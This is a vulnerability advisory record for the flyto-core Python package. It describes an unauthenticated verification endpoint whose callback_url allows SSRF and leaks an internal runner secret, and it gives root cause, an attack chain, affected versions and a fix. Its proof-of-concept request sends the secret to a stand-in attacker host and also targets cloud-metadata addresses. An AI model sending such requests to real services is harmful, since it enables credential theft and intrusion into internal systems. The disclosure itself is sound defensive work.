PYSEC-2026-3571
Vulnerability from pysec - Published: 2026-08-04 11:34 - Updated: 2026-08-04 13:36Summary
The standalone flyto-verification service exposes POST /run with no authentication, on all interfaces (0.0.0.0:8344 per the shipped Dockerfile). The request body's callback_url is used verbatim for an outbound POST that unconditionally attaches X-Internal-Key: $FLYTO_RUNNER_SECRET. The callback_url bypasses the service's target_allowed allowlist (which only inspects params.target_url) and is never passed through any SSRF guard. This yields (a) unauthenticated SSRF to internal/metadata endpoints with an attacker-controlled JSON body, and (b) exfiltration of the internal runner secret to an attacker-controlled host — allowing forged authenticated callbacks to the real engine.
Root Cause
src/core/verification_service.py:363-364—/runhas noDepends/auth dependency.resolve_callback_urlreturns the clientcallback_urlverbatim (:315-316).post_callbackattachesX-Internal-Key: $FLYTO_RUNNER_SECRETwhenever the env var is set (:327-335).target_allowedonly gatesparams.target_url(:259), nevercallback_url. Novalidate_url_*anywhere in the file.Dockerfile.verificationCMD =main('0.0.0.0', 8344); entrypointflyto-verificationinpyproject.toml:107→ the shipped image binds all interfaces by default.
Impact
Unauthenticated (PR:N) readable SSRF to internal/cloud-metadata with a controlled body (C:H, S:C), plus theft of FLYTO_RUNNER_SECRET to an attacker host → the attacker can then authenticate to the real engine callback endpoint (credential compromise, CWE-522).
Proof of Concept
Code-proven this session (all lines confirmed on v2.26.6):
POST http://<verification-host>:8344/run
{"workflowYaml":"...","params":{...},"callback_url":"http://attacker.tld/collect"}
# -> service POSTs to attacker.tld with header X-Internal-Key: <FLYTO_RUNNER_SECRET>
# Or callback_url=http://<cloud-metadata-ip>/... for internal SSRF with a controlled body.
Attack Chain
- Entry: unauthenticated
POST http://<host>:8344/runwithcallback_url:"http://attacker.tld/collect". Guard: auth on/run. Bypass proof: noDepends(require_auth)(verification_service.py:363-364); Dockerfile binds all interfaces on port 8344. - Check:
target_allowedscope (:259). Bypass proof: only inspectsparams.target_url;callback_urlis never passed throughextract_host/target_allowed. - Check: SSRF validation on
callback_url. Bypass proof: file has ZEROvalidate_urlreferences. - Sink:
post_callback→session.post(callback_url, json=payload, headers={"X-Internal-Key": FLYTO_RUNNER_SECRET})(:330-335); header attached unconditionally when the env var is set (:327-329). - Impact: (a) SSRF to the cloud metadata IP / internal with a controlled JSON body; (b) exfiltration of FLYTO_RUNNER_SECRET → replay to authenticate to the real engine callback endpoint.
Bypass Evidence
/run has no auth dependency (grep-confirmed); resolve_callback_url returns the client value verbatim; X-Internal-Key attached unconditionally; target_allowed gates only params.target_url; no validate_url_* in the file; shipped Dockerfile binds all interfaces.
Affected Versions
<= 2.26.6 — verification_service.py, pyproject.toml:107 entrypoint, and Dockerfile.verification present on latest release tag.
Suggested Fix
Add authentication to /run; run callback_url through the SSRF guard + host allowlist before attaching any internal header; do not attach X-Internal-Key to non-allowlisted destinations; bind the service to loopback by default.
Credit
Vulnerability discovered by zx (Jace).
| Name | purl | flyto-core | pkg:pypi/flyto-core |
|---|
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "flyto-core",
"purl": "pkg:pypi/flyto-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.26.7"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.0.0",
"1.0.1",
"1.0.2",
"1.0.3",
"1.0.4",
"1.0.5",
"1.0.6",
"1.0.7",
"1.0.8",
"1.0.9",
"1.1.0",
"1.1.1",
"1.11.0",
"1.12.0",
"1.13.0",
"1.14.0",
"1.14.1",
"1.14.2",
"1.15.0",
"1.16.0",
"1.16.1",
"1.16.10",
"1.16.2",
"1.16.3",
"1.16.4",
"1.16.5",
"1.16.6",
"1.16.7",
"1.16.8",
"1.16.9",
"1.2.0",
"1.3.0",
"1.4.0",
"1.5.0",
"1.5.1",
"1.5.2",
"1.5.4",
"1.6.0",
"1.6.1",
"1.6.2",
"1.6.3",
"1.6.4",
"1.6.5",
"1.7.0",
"1.7.1",
"1.7.2",
"1.7.3",
"1.7.4",
"1.7.5",
"1.7.6",
"1.7.7",
"1.7.8",
"1.7.9",
"1.8.0",
"1.8.1",
"1.8.10",
"1.8.11",
"1.8.12",
"1.8.13",
"1.8.14",
"1.8.15",
"1.8.16",
"1.8.17",
"1.8.2",
"1.8.3",
"1.8.4",
"1.8.5",
"1.8.6",
"1.8.7",
"1.8.8",
"1.8.9",
"1.9.0",
"2.0.0",
"2.0.1",
"2.0.2",
"2.0.3",
"2.0.4",
"2.0.5",
"2.1.0",
"2.1.1",
"2.1.2",
"2.1.3",
"2.1.4",
"2.10.0",
"2.11.0",
"2.12.0",
"2.12.1",
"2.12.13",
"2.12.15",
"2.12.16",
"2.12.17",
"2.12.18",
"2.12.19",
"2.12.2",
"2.12.20",
"2.12.21",
"2.12.22",
"2.12.23",
"2.12.24",
"2.12.25",
"2.12.26",
"2.12.27",
"2.12.28",
"2.12.3",
"2.12.4",
"2.12.5",
"2.12.6",
"2.13.0",
"2.13.1",
"2.13.2",
"2.13.3",
"2.13.4",
"2.14.0",
"2.15.0",
"2.15.1",
"2.15.2",
"2.15.3",
"2.16.1",
"2.16.3",
"2.16.4",
"2.17.0",
"2.17.1",
"2.17.2",
"2.17.3",
"2.17.4",
"2.17.5",
"2.17.6",
"2.17.7",
"2.17.8",
"2.18.0",
"2.18.1",
"2.18.10",
"2.18.11",
"2.18.2",
"2.18.3",
"2.18.4",
"2.18.5",
"2.18.6",
"2.18.8",
"2.18.9",
"2.19.0",
"2.2.0",
"2.2.1",
"2.2.2",
"2.20.0",
"2.20.1",
"2.20.2",
"2.20.3",
"2.20.4",
"2.23.0",
"2.23.1",
"2.23.2",
"2.23.3",
"2.24.0",
"2.24.1",
"2.24.2",
"2.24.3",
"2.24.4",
"2.25.0",
"2.25.1",
"2.25.10",
"2.25.11",
"2.25.12",
"2.25.13",
"2.25.14",
"2.25.15",
"2.25.16",
"2.25.17",
"2.25.18",
"2.25.19",
"2.25.2",
"2.25.20",
"2.25.21",
"2.25.22",
"2.25.23",
"2.25.24",
"2.25.25",
"2.25.26",
"2.25.27",
"2.25.3",
"2.25.4",
"2.25.5",
"2.25.6",
"2.25.7",
"2.25.8",
"2.25.9",
"2.26.0",
"2.26.1",
"2.26.2",
"2.26.3",
"2.26.4",
"2.26.5",
"2.3.0",
"2.3.1",
"2.4.0",
"2.4.1",
"2.4.2",
"2.4.3",
"2.4.4",
"2.4.5",
"2.4.6",
"2.4.7",
"2.5.0",
"2.5.1",
"2.5.2",
"2.6.0",
"2.6.1",
"2.7.0",
"2.7.1",
"2.7.2",
"2.7.3",
"2.7.4",
"2.7.5",
"2.7.6",
"2.8.0",
"2.9.0"
]
}
],
"aliases": [
"CVE-2026-67426",
"GHSA-jx74-cqjv-2c67"
],
"details": "## Summary\nThe standalone `flyto-verification` service exposes `POST /run` with **no authentication**, on all interfaces (0.0.0.0:8344 per the shipped Dockerfile). The request body\u0027s `callback_url` is used verbatim for an outbound POST that **unconditionally attaches `X-Internal-Key: $FLYTO_RUNNER_SECRET`**. The `callback_url` bypasses the service\u0027s `target_allowed` allowlist (which only inspects `params.target_url`) and is never passed through any SSRF guard. This yields (a) unauthenticated SSRF to internal/metadata endpoints with an attacker-controlled JSON body, and (b) exfiltration of the internal runner secret to an attacker-controlled host \u2014 allowing forged authenticated callbacks to the real engine.\n\n## Root Cause\n- `src/core/verification_service.py:363-364` \u2014 `/run` has no `Depends`/auth dependency.\n- `resolve_callback_url` returns the client `callback_url` verbatim (`:315-316`).\n- `post_callback` attaches `X-Internal-Key: $FLYTO_RUNNER_SECRET` whenever the env var is set (`:327-335`).\n- `target_allowed` only gates `params.target_url` (`:259`), never `callback_url`. No `validate_url_*` anywhere in the file.\n- `Dockerfile.verification` CMD = `main(\u00270.0.0.0\u0027, 8344)`; entrypoint `flyto-verification` in `pyproject.toml:107` \u2192 the shipped image binds all interfaces by default.\n\n## Impact\nUnauthenticated (PR:N) readable SSRF to internal/cloud-metadata with a controlled body (C:H, S:C), plus theft of `FLYTO_RUNNER_SECRET` to an attacker host \u2192 the attacker can then authenticate to the real engine callback endpoint (credential compromise, CWE-522).\n\n## Proof of Concept\nCode-proven this session (all lines confirmed on v2.26.6):\n```\nPOST http://\u003cverification-host\u003e:8344/run\n{\"workflowYaml\":\"...\",\"params\":{...},\"callback_url\":\"http://attacker.tld/collect\"}\n# -\u003e service POSTs to attacker.tld with header X-Internal-Key: \u003cFLYTO_RUNNER_SECRET\u003e\n# Or callback_url=http://\u003ccloud-metadata-ip\u003e/... for internal SSRF with a controlled body.\n```\n\n## Attack Chain\n1. Entry: unauthenticated `POST http://\u003chost\u003e:8344/run` with `callback_url:\"http://attacker.tld/collect\"`. Guard: auth on `/run`. Bypass proof: no `Depends(require_auth)` (verification_service.py:363-364); Dockerfile binds all interfaces on port 8344.\n2. Check: `target_allowed` scope (:259). Bypass proof: only inspects `params.target_url`; `callback_url` is never passed through `extract_host`/`target_allowed`.\n3. Check: SSRF validation on `callback_url`. Bypass proof: file has ZERO `validate_url` references.\n4. Sink: `post_callback` \u2192 `session.post(callback_url, json=payload, headers={\"X-Internal-Key\": FLYTO_RUNNER_SECRET})` (:330-335); header attached unconditionally when the env var is set (:327-329).\n5. Impact: (a) SSRF to the cloud metadata IP / internal with a controlled JSON body; (b) exfiltration of FLYTO_RUNNER_SECRET \u2192 replay to authenticate to the real engine callback endpoint.\n\n## Bypass Evidence\n`/run` has no auth dependency (grep-confirmed); `resolve_callback_url` returns the client value verbatim; `X-Internal-Key` attached unconditionally; `target_allowed` gates only `params.target_url`; no `validate_url_*` in the file; shipped Dockerfile binds all interfaces.\n\n## Affected Versions\n`\u003c= 2.26.6` \u2014 `verification_service.py`, `pyproject.toml:107` entrypoint, and `Dockerfile.verification` present on latest release tag.\n\n## Suggested Fix\nAdd authentication to `/run`; run `callback_url` through the SSRF guard + host allowlist before attaching any internal header; do not attach `X-Internal-Key` to non-allowlisted destinations; bind the service to loopback by default.\n\n## Credit\n\nVulnerability discovered by zx (Jace).",
"id": "PYSEC-2026-3571",
"modified": "2026-08-04T13:36:18.651686Z",
"published": "2026-08-04T11:34:45.572992Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/flytohub/flyto-core/security/advisories/GHSA-jx74-cqjv-2c67"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67426"
},
{
"type": "WEB",
"url": "https://github.com/flytohub/flyto-core/commit/0a0a528520ec18f5a21f1ddf858a71cc1edfb6e9"
},
{
"type": "PACKAGE",
"url": "https://github.com/flytohub/flyto-core"
},
{
"type": "WEB",
"url": "https://github.com/flytohub/flyto-core/releases/tag/v2.26.7"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/flyto-core"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-jx74-cqjv-2c67"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Flyto2 Core: Unauthenticated flyto-verification /run: callback_url SSRF and internal runner-secret exfiltration"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.